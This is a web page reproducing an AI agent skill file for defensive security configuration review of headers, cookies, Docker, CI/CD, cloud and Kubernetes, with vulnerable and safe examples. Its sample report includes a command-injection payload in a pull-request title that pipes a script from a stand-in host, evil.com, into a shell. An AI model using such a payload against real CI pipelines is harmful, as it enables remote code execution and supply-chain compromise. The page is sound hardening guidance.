Config

From kaivyy/perseus · View interactive version

Config is an AI agent skill from the GitHub repository kaivyy/perseus. Security configuration analysis (Headers, CORS, Docker, CI/CD, Cloud, K8s)

How to use this skill

Skill file

Perseus Configuration Specialist

Context & Authorization

IMPORTANT: This skill performs security configuration analysis on the user's own codebase. This is defensive security testing to ensure proper security hardening.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.


Multi-Language & Platform Support

| Category | Technologies |

|----------|--------------|

| Web Frameworks | Express, Fastify, Next.js, Go/Gin, PHP/Laravel, Python/FastAPI, Rust/Actix |

| Containers | Docker, Podman, containerd |

| Orchestration | Kubernetes, Docker Compose, Docker Swarm |

| CI/CD | GitHub Actions, GitLab CI, Jenkins, CircleCI, Azure DevOps |

| Cloud | AWS, GCP, Azure, DigitalOcean, Vercel, Netlify |

| IaC | Terraform, Pulumi, CloudFormation, Ansible |


Overview

This specialist skill analyzes security configuration including HTTP headers, TLS settings, CORS policies, container security, CI/CD pipelines, and cloud configurations.

When to Use: As part of any security assessment, or specifically when reviewing deployment configuration.

Goal: Ensure all security configurations follow best practices and don't introduce vulnerabilities.

Engagement Mode Compatibility

| Mode | Specialist Behavior |

|------|---------------------|

| PRODUCTION_SAFE | Configuration and manifest analysis with passive verification |

| STAGING_ACTIVE | Controlled config validation with limited active checks |

| LAB_FULL | Broad environment hardening validation in lab |

| LAB_RED_TEAM | Defensive stress simulation for infra misconfig chains in isolated lab |

Safety Gates (Required)

  1. Read deliverables/engagement_profile.md before active infra validation.
  2. Default to PRODUCTION_SAFE if engagement mode is missing.
  3. Enforce kill-switch thresholds and stop on environment instability.
  4. Never modify live infrastructure state without explicit approval.

Configuration Risks Covered

| Risk | Description | Impact |

|------|-------------|--------|

| Missing Security Headers | No CSP, HSTS, X-Frame-Options | XSS, clickjacking |

| CORS Misconfiguration | Overly permissive origins | Data theft |

| Insecure Cookies | Missing Secure, HttpOnly, SameSite | Session hijacking |

| Debug Mode | Production debug enabled | Info disclosure |

| Docker Misconfig | Root user, privileged mode | Container escape |

| CI/CD Secrets | Exposed secrets, injection | Supply chain attack |

| Cloud Misconfig | Public buckets, open security groups | Data breach |

| K8s Insecurity | No RBAC, privileged pods | Cluster compromise |

Agent Execution Strategy (Dual-Mode)

When executing this skill, adapt to the runtime environment:

Fast-Track CLI Commands for Configuration Security

# 1. CI/CD GitHub Actions script injection & untrusted context in run:
rg -n -C 2 "\$\{\{\s*(github\.event|inputs)\..*\}\}" .github/workflows/ 2>/dev/null || true

# 2. Dockerfile root execution, privileged mode, socket mounting
rg -n -C 2 -i "(USER\s+root|privileged\s*:|/var/run/docker\.sock)" Dockerfile docker-compose*.yml 2>/dev/null || true

# 3. Permissive CORS configuration (wildcard origin with credentials)
rg -n -C 3 -i "(origin:\s*['\"\*]|allow_origins|Access-Control-Allow-Origin|credentials:\s*true)"

# 4. Active Debug modes in application configurations
rg -n -C 2 -i "(DEBUG\s*=\s*True|debug:\s*true|\.enableDebug\(\)|app\.debug\s*=)"

Execution Instructions

Step 0: Mode & Scope Alignment

Phase 1: HTTP Security Headers (3 Parallel Agents)

  1. CSP Analyst:

Framework-Specific:

```javascript

// Express/Helmet

app.use(helmet.contentSecurityPolicy({ directives: {...} }));

// Next.js - next.config.js

headers: [{ key: 'Content-Security-Policy', value: '...' }]

```

```go

// Go/Gin

c.Header("Content-Security-Policy", "default-src 'self'")

```

```python

# Django

CSP_DEFAULT_SRC = ("'self'",)

# FastAPI

response.headers["Content-Security-Policy"] = "..."

```

```php

// Laravel

header('Content-Security-Policy: default-src \'self\'');

```

  1. Security Headers Analyst:

Headers to Check:

| Header | Purpose | Recommended Value |

|--------|---------|-------------------|

| Strict-Transport-Security | Force HTTPS | max-age=31536000; includeSubDomains |

| X-Frame-Options | Prevent clickjacking | DENY or SAMEORIGIN |

| X-Content-Type-Options | Prevent MIME sniffing | nosniff |

| Referrer-Policy | Control referrer | strict-origin-when-cross-origin |

| Permissions-Policy | Limit browser features | Disable unused features |

  1. Cookie Security Analyst:

Patterns:

```javascript

// Express - Check flags

res.cookie('session', value, { secure: true, httpOnly: true, sameSite: 'strict' });

```

```go

// Go

http.SetCookie(w, &http.Cookie{Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode})

```

```php

// PHP

setcookie('session', $value, ['secure' => true, 'httponly' => true, 'samesite' => 'Strict']);

```

```python

# FastAPI/Starlette

response.set_cookie(key, value, secure=True, httponly=True, samesite='strict')

```

Phase 2: Docker Security Analysis (4 Parallel Agents)

  1. Dockerfile Analyst:

Issues to Find:

```dockerfile

# VULNERABLE - Running as root

FROM node:18

COPY . .

CMD ["node", "app.js"]

# SAFE - Non-root user

FROM node:18

RUN addgroup -S app && adduser -S app -G app

USER app

COPY --chown=app:app . .

CMD ["node", "app.js"]

```

Checks:

  1. Docker Compose Analyst:

Issues:

```yaml

# VULNERABLE

services:

app:

privileged: true # Container escape

network_mode: host # No network isolation

volumes:

cap_add:

# SAFE

services:

app:

read_only: true

security_opt:

cap_drop:

```

  1. Container Secrets Analyst:

Patterns:

```dockerfile

# VULNERABLE

ENV DATABASE_PASSWORD=secret123

ARG API_KEY=sk-xxx

COPY .env /app/.env

```

  1. Image Security Analyst:

Checks:

Phase 3: CI/CD Security Analysis (4 Parallel Agents)

  1. GitHub Actions Analyst:

Critical Issues:

```yaml

# VULNERABLE - Command injection

# SAFE - Use environment variable

env:

TITLE: ${{ github.event.issue.title }}

# VULNERABLE - Pull request target with checkout

on: pull_request_target

steps:

with:

ref: ${{ github.event.pull_request.head.sha }} # Dangerous!

# VULNERABLE - Secrets in logs

```

Checks:

  1. GitLab CI Analyst:

Issues:

```yaml

# VULNERABLE

script:

# Check for:

# - Unprotected variables

# - Scripts with user input

# - Exposed tokens

```

  1. Secrets Management Analyst:

Checks:

  1. Pipeline Permissions Analyst:

GitHub Actions Permissions:

```yaml

# VULNERABLE - Too permissive

permissions: write-all

# SAFE - Minimal permissions

permissions:

contents: read

pull-requests: write

```

Phase 4: Cloud Configuration Analysis (4 Parallel Agents)

  1. AWS Configuration Analyst:

Check Files:

Issues:

```hcl

# VULNERABLE - Public S3

resource "aws_s3_bucket" "data" {

acl = "public-read"

}

# VULNERABLE - Open security group

resource "aws_security_group" "web" {

ingress {

from_port = 0

to_port = 65535

cidr_blocks = ["0.0.0.0/0"]

}

}

# VULNERABLE - Hardcoded credentials

provider "aws" {

access_key = "AKIA..."

secret_key = "..."

}

```

  1. GCP/Azure Configuration Analyst:

GCP Issues:

```hcl

# VULNERABLE - Public GCS

resource "google_storage_bucket_iam_member" "public" {

member = "allUsers"

role = "roles/storage.objectViewer"

}

```

  1. Serverless Configuration Analyst:

Check:

  1. Infrastructure as Code Analyst:

Terraform Issues:

```hcl

# VULNERABLE - No encryption

resource "aws_ebs_volume" "data" {

encrypted = false

}

# VULNERABLE - Default VPC

resource "aws_instance" "web" {

# No VPC specified, uses default

}

```

Phase 5: Kubernetes Security Analysis (4 Parallel Agents)

  1. Pod Security Analyst:

Issues:

```yaml

# VULNERABLE

spec:

containers:

securityContext:

privileged: true # Container escape

runAsRoot: true # Root user

allowPrivilegeEscalation: true

volumeMounts:

name: host-root # Host filesystem

# SAFE

spec:

securityContext:

runAsNonRoot: true

runAsUser: 1000

containers:

securityContext:

allowPrivilegeEscalation: false

readOnlyRootFilesystem: true

capabilities:

drop: ["ALL"]

```

  1. RBAC Analyst:

Issues:

```yaml

# VULNERABLE - Cluster admin to all

apiVersion: rbac.authorization.k8s.io/v1

kind: ClusterRoleBinding

subjects:

name: default

roleRef:

kind: ClusterRole

name: cluster-admin

```

  1. Network Policy Analyst:

Issues:

  1. Secrets & ConfigMap Analyst:

Issues:

```yaml

# VULNERABLE - Plain text secret

apiVersion: v1

kind: Secret

data:

password: cGFzc3dvcmQ= # Base64, not encryption!

# Check for:

# - Secrets in ConfigMaps

# - Unencrypted secrets

# - Secrets mounted as environment variables

# - Missing RBAC on secrets

```

Phase 6: Application Configuration (3 Parallel Agents)

  1. Debug Mode Analyst:

Patterns:

```javascript

// Node.js

DEBUG = true

NODE_ENV = 'development'

```

```python

# Django

DEBUG = True

# Flask

app.run(debug=True)

```

```php

// Laravel

APP_DEBUG=true

```

```go

// Go

gin.SetMode(gin.DebugMode)

```

  1. Error Handling Analyst:
  1. Environment Variables Analyst:

Issues:

Output Requirements

Create deliverables/config_security_analysis.md:

# Security Configuration Analysis

## Summary
| Category | Checks | Pass | Fail | Critical |
|----------|--------|------|------|----------|
| HTTP Headers | X | Y | Z | W |
| Cookies | X | Y | Z | W |
| Docker | X | Y | Z | W |
| CI/CD | X | Y | Z | W |
| Cloud (AWS/GCP/Azure) | X | Y | Z | W |
| Kubernetes | X | Y | Z | W |
| App Config | X | Y | Z | W |

## Technologies Detected
- Framework: [e.g., Next.js, Go/Gin]
- Container: Docker, Kubernetes
- CI/CD: GitHub Actions
- Cloud: AWS

## Critical Findings

### [CONFIG-001] GitHub Actions Command Injection
**Severity:** Critical
**Location:** `.github/workflows/pr.yml:23`

**Vulnerable Code:**

echo "PR Title: ${{ github.event.pull_request.title }}"


**Attack:** Attacker creates PR with title: `"; curl evil.com/shell.sh | sh #`

**Remediation:**

env:

TITLE: ${{ github.event.pull_request.title }}


---

### [CONFIG-002] Privileged Docker Container
**Severity:** Critical
**Location:** `docker-compose.yml:15`

**Vulnerable Code:**

services:

app:

privileged: true


**Impact:** Container escape, host compromise

---

### [CONFIG-003] Public S3 Bucket
**Severity:** Critical
**Location:** `terraform/storage.tf:8`

---

## Docker Security Checklist
| Check | Status | File |
|-------|--------|------|
| Non-root user | FAIL | Dockerfile |
| No secrets in image | PASS | - |
| Pinned base image | FAIL | Dockerfile |
| Read-only filesystem | FAIL | docker-compose.yml |
| Dropped capabilities | FAIL | docker-compose.yml |

## CI/CD Security Checklist
| Check | Status | File |
|-------|--------|------|
| No command injection | FAIL | pr.yml |
| Minimal permissions | FAIL | build.yml |
| No secrets in logs | PASS | - |
| Verified actions only | WARN | deploy.yml |

## Kubernetes Security Checklist
| Check | Status | File |
|-------|--------|------|
| Non-root pods | FAIL | deployment.yaml |
| Network policies | MISSING | - |
| RBAC configured | WARN | rbac.yaml |
| Secrets encrypted | FAIL | secrets.yaml |

## Cloud Security Checklist
| Check | Status | Resource |
|-------|--------|----------|
| No public buckets | FAIL | S3: data-bucket |
| Encrypted storage | PASS | EBS volumes |
| Restricted security groups | FAIL | sg-web |
| No hardcoded credentials | PASS | - |

## Recommendations

### Immediate Actions
1. Fix GitHub Actions command injection
2. Remove privileged mode from containers
3. Make S3 bucket private
4. Add USER directive to Dockerfile

### Security Hardening

Recommended Kubernetes securityContext

securityContext:

runAsNonRoot: true

runAsUser: 1000

allowPrivilegeEscalation: false

readOnlyRootFilesystem: true

capabilities:

drop: ["ALL"]

Recommended GitHub Actions permissions

permissions:

contents: read

pull-requests: write

Next Step: Configuration issues are typically binary (secure or not) and don't require exploit verification.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.